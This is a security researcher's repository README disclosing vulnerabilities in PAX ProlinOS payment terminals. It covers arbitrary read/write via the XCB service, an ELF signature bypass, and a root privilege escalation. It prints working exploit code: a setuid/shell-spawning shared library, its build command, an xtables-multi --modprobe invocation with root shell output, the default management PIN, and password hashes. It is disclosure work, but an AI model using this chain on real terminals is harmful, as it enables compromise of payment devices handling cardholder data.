g / pax-pwn

Watch 1 Star 0 Fork 0

Files Issues 0 Pull Requests 0 Wiki

Vulnerabilities and tools for the PAX Payment Devices, including D200, S80, S300, S800, S900, S920

20 Commits **1** Branches **0** Releases

Branch: **master** pax-pwn HTTP SSH https://git.lsd.cat/g/pax-pv

Giulio	80e838ea51	Added official PAX response	2 years ago
code	912aea7dee	Added kernel and ramdisk to firmware tree	2 years ago
files	0c49a21a8a	ProlinOS release from http://files.nilsoft.ru/ProlinOS/	2 years ago
firmware	b745de4c5f	Extracted mtd5, 'base'	2 years ago
images	da0fa3fd73	Moved image in correct dir	2 years ago
pdf	2a89b532e7	Added driver and utils for linux and win	2 years ago
utils	7d5e76bf9f	Writeup draft	2 years ago
.gitmodules	499c1e91e8	Added privesc code and xcb-client	2 years ago
Readme.md	80e838ea51	Added official PAX response	2 years ago

Readme.md

Greetz

Most work done by me. Special thanks to cogitoergor00t and all the JBZ crew.

Intro

PAX is a Chinese manufacturer of payment devices, and as per their claim they have sold more than 34 million units in 110 countries.

They mainly have two kinds of products, those based on ProlinOS, which is a custom OS developed by them and derived from Android and those based directly on a more vanilla Android.

This research is focused on the devices running ProlinOS, which are:

```
D190
D200
D210
Q80
Q92
S80
S300
S800
S900
S920
```

Other models might be running ProlinOS too but their specification is not detailed on the official PAX website.

For this research, I have bought a S900 from eBay and was lucky enough to find a used model targeted at developers. I will specify when something applies only to the developer model and not the production ones, although very little differs in terms of vulnerabilities.

CVEs

- Arbitrary read/write - CVE-2020-28044
- ELF signature bypass - CVE-2020-28045
- Root privesc - CVE-2020-28046

Pictures

Resources

Before starting the analysis, I found the following resources very useful:

PDF:

- http://files.nilsoft.ru/Termassist/Prolin2.X_User_Guide(V1.0.7).pdf
- https://usermanual.wiki/Document/Prolin20TermAssist20Operating20Guidev300.2027739282/view
- https://usermanual.wiki/Document/Prolin20Terminal20Manager20Operating20Guide20v201.172265983/view
- https://docs.cloudwalk.io/en/framework/pax
- https://docs.cloudwalk.io/en/framework/pax-linux

Files:

- https://dl.cloudwalk.io/util/term-assist.zip
- https://dl.cloudwalk.io/util/xcb-with-driver.zip

FCC Documents:

- https://fccid.io/V5PS900
- https://fccid.io/V5PS900/Internal-Photos/Internal-photos-2656645

It's possible to see clearly from the `Internal Photos` PDF that the device has an additional battery and multiple anti-tampering contacts; there's also a warranty sticker on the side. Hardware attacks are probably possible, but out of scope here as I lack both skills and equipment to work in that direction. Furthermore, a hardware attack would be more difficult to execute in real-life scenarios because of the circumstances in which a POS is used.

Hardware Info

The device has a color display, WiFi, GSM, Bluetooth, an AC charging port, and two mini USB ports. From the specifications, one is used for serial communication and the other one for USB communication. It has a Broadcom BCM5892, 128MB of flash and 64MB of RAM.

ProlinOS

ProlinOS is a minimal Linux distribution, probably derived from Android.

Communication

The device needs to be rebooted into the management interface (called `TM`). To do so on the S900 press the number `2` repeatedly during boot (even after the `SELF-TEST` screen). On the D200 do the same but with the key `F2`. Other devices have probably similar keys, and they can be guessed in a few attempts.

From there go to `System Config`. enter the default pin which is `123456` and enable the XCB service. The XCB service can run both via the serial interface and network, depending on the model and the version of ProlinOS. For the serial interface, use the driver provided in the links in the Intro section, for the network interface, first connect the device to a WiFi network and the service will be on `<ip>:5555`.

The development kit found online is composed of a GUI called `TermAssist` on Windows and an executable, called `xcb`. It turns out that `TermAssist` is just an interface of `xcb`.

It turns out, that, although `xcb` calls itself `Xos Communication Bridge` it's just a slightly modified version android `ADB`.

I reversed the client and modified `python-adb` accordingly (and also added code to make it work over serial interface). Here's the repository for the custom client. Pull request to add serial support to `python-adb`.

`shell` functionality has been removed, as many others, but `push`, `pull`, `ls` and port forwarding are still available even if not present in the program help. Supposedly, `xcb` is intended only for adding applications to the device (which needs to be signed), updating ProlinOS (again, signed stuff), adding assets to existing applications (images, front, etc all unsigned) and eventually adding user-provided keys for signing packages. It is yet unclear to me if user-provided keys need to be signed by the manufacturer and in which format they are to be supplied because I didn't look into it.

There's also a `telnet` command which will port forward to the local machine a telnet daemon. This command will only work on development devices because the whole `telnet` binary is removed from busybox on production devices.

Debug Level

Devices have three debug levels:

- 0 -> Production devices, busybox has no `sh` nor telnet, `xcb` works
- 1 -> Application development devices, `busybox` has both `sh` and `telnet`. There's also a handy `gdbserver` in place. Root access is disabled, kernel, kernel modules, and some PAX configuration and binaries are not readable
- 2 -> Prolin development devices, `root` should be available with a hardcoded password

We'll see that from debug level `0` it is possible to escalate to root privileges. The pos used for this article is in `debug` level `1`. A production device won't have a working telnet/shell by default. However that functionality can be restored by overwriting a shared library using the arbitrary read/write in XCB or by porting the already signed binaries from a debug device.

Basic Linux info

From the development S900:

```
~ $ uname -a
Linux localhost 3.0.56+ #1 Wed Mar 9 13:09:46 CST 2016 armv6l GNU/Linux
```

```
~ $ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:7037          0.0.0.0:*               LISTEN
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ACC ]     STREAM     LISTENING       842 /dev/socket/property_service
unix  2      [ ACC ]     STREAM     LISTENING       869 /tmp/crashd
unix  2      [ ACC ]     STREAM     LISTENING       877 /tmp/MODEM_DAEMON_SERVER
unix  2      [ ACC ]     STREAM     LISTENING       880 /tmp/MODEM_POWER
unix  2      [ ACC ]     STREAM     LISTENING       885 /tmp/pm_socket
unix  2      [ ]         DGRAM                      900 /var/run/wpa_supplicant/wlan0
unix  2      [ ACC ]     STREAM     LISTENING       913 /tmp/PED_DAEMON_SERVER
unix  2      [ ACC ]     STREAM     LISTENING       917 /tmp/PED_SHUTDOWN_SERVER
unix  2      [ ACC ]     STREAM     LISTENING       929 /tmp/ipservice_server
unix  3      [ ]         STREAM     CONNECTED       971
unix  3      [ ]         STREAM     CONNECTED       970
unix  3      [ ]         STREAM     CONNECTED       944
unix  3      [ ]         STREAM     CONNECTED       943
unix  3      [ ]         STREAM     CONNECTED       888
unix  3      [ ]         STREAM     CONNECTED       887
unix  3      [ ]         STREAM     CONNECTED       873
unix  3      [ ]         STREAM     CONNECTED       872
unix  3      [ ]         STREAM     CONNECTED       868
unix  3      [ ]         STREAM     CONNECTED       867
unix  3      [ ]         STREAM     CONNECTED       845
unix  3      [ ]         STREAM     CONNECTED       844
```

```
~ $ ls /bin
[          chown      false      killall    ls         mknod      ps         rz         sync       true       yes
[[         clear      find       less       lsb        mount      pwd        sb         sz         udhcpc6
ash        cp         gdbserver  ln         lsx        mv         rb         setprop    tee        umount
busybox    date       getprop    lock       lsz        netstat    readlink   sh         test       uname
cat        dmesg      hexdump    lrb        md5sum     nice       rm         sleep      time       vi
chgrp      echo       id         lrx        mkdir      ping       rmdir      su         top        wget
chmod      env        kill       lrz        mkfifo     ping6      rx         sx         touch      xlogin
```

```
~ $ ls /usr/bin/
crashd                 ip6tables-save         logcat                 systemservice          xcbd
devinfo                ipservice              logwrapper             tm                     xtables-multi
gpsd                   iptables               modemd                 ts_calibrate
installer              iptables-restore       pedd                   wpa_supplicant
ip6tables              iptables-save          runapp                 wpa_supplicant_ap6181
ip6tables-restore      keyman                 servicemanager         xcb
```

```
~ $ lsmod
Module                  Size  Used by    Tainted: P
lcd_panel_TM035KBH08_36     2917  0
lcd_hw_ctrl             3175  0
lcd_fb                  6024  2
asix                   41551  0
prt_printer           259191  0
logger                265925 14
rsi_master             53658  0
rsi_client            210076  1 rsi_master
ads7846                 7341  0
bcm589x_i2s             7153  0
verify                  3046  0
bcm589x_sec            12844  0
bcm5892_bbl             7412  1
pcd_rc663              13826  0
pcd_base                6173  0
msr                    15271  0
sci_bcm5892_tda8026    21068  0
keypad_matrix           5211  0
input_base              8589  2 ads7846,keypad_matrix
misc                    6270  0
pmu_dummy               2878  4
bm_bq24103              1946  0
tty_host               10608  0
tty_devices            89511  2
bcm589x_otg           169745  1 tty_devices
bcm589x_dwccom         25580  1 bcm589x_otg
pm_bcm5892              3845  2 msr,keypad_matrix
ioconfig                8120  3 msr,sci_bcm5892_tda8026,keypad_matrix
S900_M07_P05_GPRS_MG323     2525  3 prt_printer,bm_bq24103,bcm589x_otg
devices_base           26185  7 pcd_base,msr,sci_bcm5892_tda8026,tty_host,tty_devices,bcm589x_otg,S900_M07_P05_GPRS_MG32
bcm5892_rtc             4938  0
```

Vulnerabilities

Arbitrary Read/Write (CVE-2020-28044)

As described in the "Communication" section, it is possible to list, read and write file and folders with `MAINAPP` permissions via XCB.

Signature Bypass and Code Execution (CVE-2020-28045)

Although ELF files need to be signed in order to be executed (later we'll see how), libraries apparently do not. This means that it is possible to run custom executables without issues, given that we have a working shell and `LD_PRELOAD` is working or that, even without a shell, we can overwrite a library in use by some application.

`installer` , which is the executable being called by `xcbd` (the `xcb` daemon server, like `adbd`) is responsible for verifying binary files before adding them. This does not mean that the kernel doesn't check again (it does) but means that ELF signature verification is available via userspace and is provided by a kernel module.

It simply opens the device `/dev/verify` , uses some `ioctl` calls and send the executable file. Depending on the `ioctl` results it is possible to determine if a binary file has been correctly signed. As per the signature format, it's possible to guess that it is simply made by an RSA 2048 signature appended at the end of the file plus the string `SIGNED_VER:00001` .

Privilege Escalation (CVE-2020-28046)

By looking into the device, there are mainly two possible vectors of privilege escalation which are:

- The outdated kernel is vulnerable to dirtycow and many other kernel exploits
- The only `setuid` binary is `xtables-multi`

I did try a couple of dirtycow payloads but they didn't work. I'm no kernel hacker and I have no privileges to debug the kernel (which by the way has been modified by PAX developers) so the `xtables-multi` binary looks more promising.

For those who don't know, `xtables-multi` is `xtables multi-link binary for Netfilter's iptables and ip6tables` .

```
xtables-multi
ERROR: No valid subcommand given.
Valid subcommands:
 * iptables
 * main4
 * iptables-save
 * save4
 * iptables-restore
 * restore4
 * iptables-xml
 * xml
 * ip6tables
 * main6
 * ip6tables-save
 * save6
```

```
  * ip6tables-restore
  * restore6
```

```
~ $ xtables-multi iptables
iptables v1.4.21: no command specified
Try `iptables -h' or 'iptables --help' for more information.
```

As we can see the version is not so new.

By just searching, in theory, it should be vulnerable to CVE-2019-11360. After a brief look at our `xtables-multi` binary which seems to have not been greatly modified from the original, and by looking at the source code of version 1.4.21, it's possible to see that it should indeed be vulnerable:

- In iptables-restore.c there's the original buffer overflow as described by the original author of the CVE
- It's also true for ip6tables-restore.c
- There's an additional vulnerability, almost identical to the other two in iptables-xml.c. We can see that a quoted string can exceed the `param_buffer[1024]` and is then written there using `strncpy(param_buffer, param_start, param_len);` and there are no length checks. It has been fixed in the same commit of the first two, but the code has been removed before the release of the fixed version so i guess that the Netfilter developers noticed it.

With a couple of test it is possible to obtain a Segfault in both cases. ASLR is enabled and the NX bit is set, but no other protections seem to be present.

This way looked promising but in the meantime, we found a simpler way.

Iptables has a `--modprobe` options which is present in the usage documentation but is not greatly explicited on what it accepts and on how does it work. I already used it for a privilege escalation in a local CTF when the `iptables` binary was the only command allowed in `sudoers`.

As on how does it work it basically executes the command provided to the `--modprobe` switch, which might be an executable or a shell script. The main requirement is that the required module must be missing (otherwise the whole modprobe thing is useless), meaning that for example the `nat` module must be unloaded.

```
~ $ iptables -t nat -L
iptables v1.4.21: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
Perhaps iptables or your kernel needs to be upgraded.
```

So the first requirement is satisfied. However, it didn't work because the command didn't get executed because as it turns out, before attempting to load the module manually the code will check if the `/proc/net/ip_tables_names` file exists and use it as a reference.

```
~ $ ls -lart /proc/net/ip_tables_names
-r--r-----    1 root     root             0 Jun  1 17:29 /proc/net/ip_tables_names
```

Luckily there's also `ip6tables` which requires a different file, called `/proc/net/ip6_tables_names` and since we all know that the world is not IPv6 ready, this one indeed doesn't exists.

```
~ $ ls /proc/net/ip6_tables_names
ls: /proc/net/ip6_tables_names: No such file or directory
```

Lastly, we need a signed executable to run or a script (scripts do work because the interpreter, busybox is signed). Unfortunately, busybox, if run this way will instantly drop its privileges. Also, we cannot pass `LD_PRELOAD` to an `execv` call so the only way is to actually swap a library used by a signed executable that we can call.

Luckily, on my device there are two user-installed apps (every working terminal must have at least one) and they both use shared libraries which are writeable by the low privileged user. I wouldn't say that this itself is some kind of vulnerability because our current user is indeed the user responsible for installing (and thus if required overwriting) the applications and their assets.

So, some simple code like:

```
      #include <stdio.h>
      #include <sys/types.h>
      #include <stdlib.h>
      #include <unistd.h>

      int _init() {
              unsetenv("LD_PRELOAD");
              puts("LD_PRELOAD is working!");
              setreuid(0, 0);
              setuid(0);
              printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
              system("/bin/sh");
              exit(0);
      }
```

Cross compiled:

```
arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static
```

Here are the two executables which are user writeable:

```
~ $ ls /data/app/MAINAPP/bin/
MablApp            MerchantDeviceApp
```

Required libraries:

```
host:/# arm-none-eabi-objdump -x MablApp | grep NEEDED
  NEEDED               libosal.so
  NEEDED               libarchive.so.13
  NEEDED               libsqlite3.so
  NEEDED               libcrypto.so.1.0.0
  NEEDED               libz.so.1
  NEEDED               libfreetype.so.6
  NEEDED               libpng12.so.0
  NEEDED               libpthread.so.0
  NEEDED               libts-1.0.so.0
  NEEDED               libxui.so
  NEEDED               libgcc_s.so.1
  NEEDED               libc.so.6
```

These libraries, on the device are in `/data/app/MAINAPP/lib/` . I choose to overwrite `libsqlite3.so` with `privesc.so` :

```
/data/app/MAINAPP $ id
uid=999(MAINAPP) gid=999(MAINAPP) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
/data/app/MAINAPP $ xtables-multi ip6tables -t nat -L --modprobe=/data/app/MAINAPP/bin/MablApp
LD_PRELOAD is working!
My UID is: 0. My GID is: 999. My EUID is: 0


BusyBox v1.22.1 (2016-03-09 12:47:22 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/data/app/MAINAPP # id
uid=0(root) gid=999(MAINAPP) egid=0(root) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
```

System Analysis

The bootloader is U-Boot.

This is the partition scheme:

```
dev:    size   erasesize  name
mtd0: 000c0000 00020000 "boot"          <- U-Boot image
mtd1: 00080000 00020000 "nvram_fac"     <- U-Boot environment
mtd2: 000c0000 00020000 "boot_res"      <- Boot resources, ie: boot logo
mtd3: 00400000 00020000 "kernel"        <- kernel binary
mtd4: 00600000 00020000 "ramdisk"       <- ramdisk containit init and kernel modules
mtd5: 00600000 00020000 "base"          <- base system, including binaries and libraries
mtd6: 06e00000 00020000 "data"          <- user data, application executables, library and assets
```

The file init.rc gives an idea on how the system is started and how different debug levels are handled.

`/usr/bin/tm` is the binary responsible for the GUI management. The system password is AES encrypted and is stored in a user readable property:

A lot of interesting functions are done trough kernel modules, available here.

Hardware driver are implemented via a low level kernel module and a higher level abastraction module, and are available via the `libosal.so` library. In the case of this hardware revision of the S900, For the RFID reader:

```
pcd_rc663.ko    -> Hardware driver
pcd_base.ko     -> Middleware, creates /dev/pcd
libosal.so  -> Shared library, provides the OsPicc* functions trough interacting with /dev/pcd
```

For the magnetic stripe reader the family of functions is `OSMsr*` that uses the `/dev/msr` device and for SmartCards there are the `OsIcc*` functions that use the `/dev/usercard` device.

The graphic interface library is `libxui.so` .

Further Reasearch

By finding a vulnerability in a Merchant App, in `libosal.so` or in one in the kernel drivers a remote attack via a payment vector is theoretically possible. Unfortunately, due to the lack of second hand production PoS in the used market, I'm unable to get a test device with a working Merchant App unless I open a contract with a bank (which I don't want to). If anyone has contacts or is willing to provide one, or need assistance for futher research drop me an email or a tweet.

Reporting

I tried contacting several times PAX Global via email and never got a reply related to anything: neither about the security vulneabilities, neither on inquiries about the source code for the GPL licensed software (Linux/U-Boot).

Update

Following this public disclosure PAX got in touch with me. It turned out my previous emails on June 2020 were marked as spam and never read. Here's their official answer for the following two question:

- Don't you have a patch distribution method and a remediation plan for vulnerabilities in your devices?

  ```
  We apply relevant security patches to all software components we use.

  For vulnerabilities •Arbitrary read/write - CVE-2020-28044, •ELF signature bypass - CVE-2020-28045 and •Root privesc
  ```

```
For vulnerabilities "Dirty COW", our kernel had "Dirty COW" patch included once CVE-2016-5195 had been published.
```

- Do you plan to release the source code, patches and build scripts for the modifications to the GPL licensed code?

```
We certainly do comply with GPL version requirements, and had provided source code at requests before several years
```

Fun fact

I had issues understanding the `shadow` password format:

```
root:vCTc/8H/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!/hEAV1:0:0:99999:7:::
hwdev:!.:0:0:99999:7:::
ped:!/:0:0:99999:7:::
SUBAPP:!:0:0:99999:7:::
MAINAPP:.olBn7f02Wgf.:0:0:99999:7:::
```

Until I found how that file is being generated (`/startup/data-skeleton.sh`):

```
[..]
/bin/cat << EOD > /data/etc/shadow
root:$1$9vCTc/8H$lRt/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!$1$phzwtsL4$Qso0Z3H5eqoSUXwQ/hEAV1:0:0:99999:7:::
hwdev:!$1$jDG2WeUj$uM3mIyvZ1rkd11J7izXt6.:0:0:99999:7:::
ped:!$1$ZMsJtrjO$ibuMCiJvuyxQnrpkdptup/:0:0:99999:7:::
SUBAPP:!$1$gJUpez2c$U0Qv9IyoUAgD5cTSumbKB0:0:0:99999:7:::
MAINAPP:$1$wsdZqcgf$zD5mTBbZs.olBn7f02Wgf.:0:0:99999:7:::
EOD
/bin/chmod 0640 /data/etc/shadow
[..]
```

...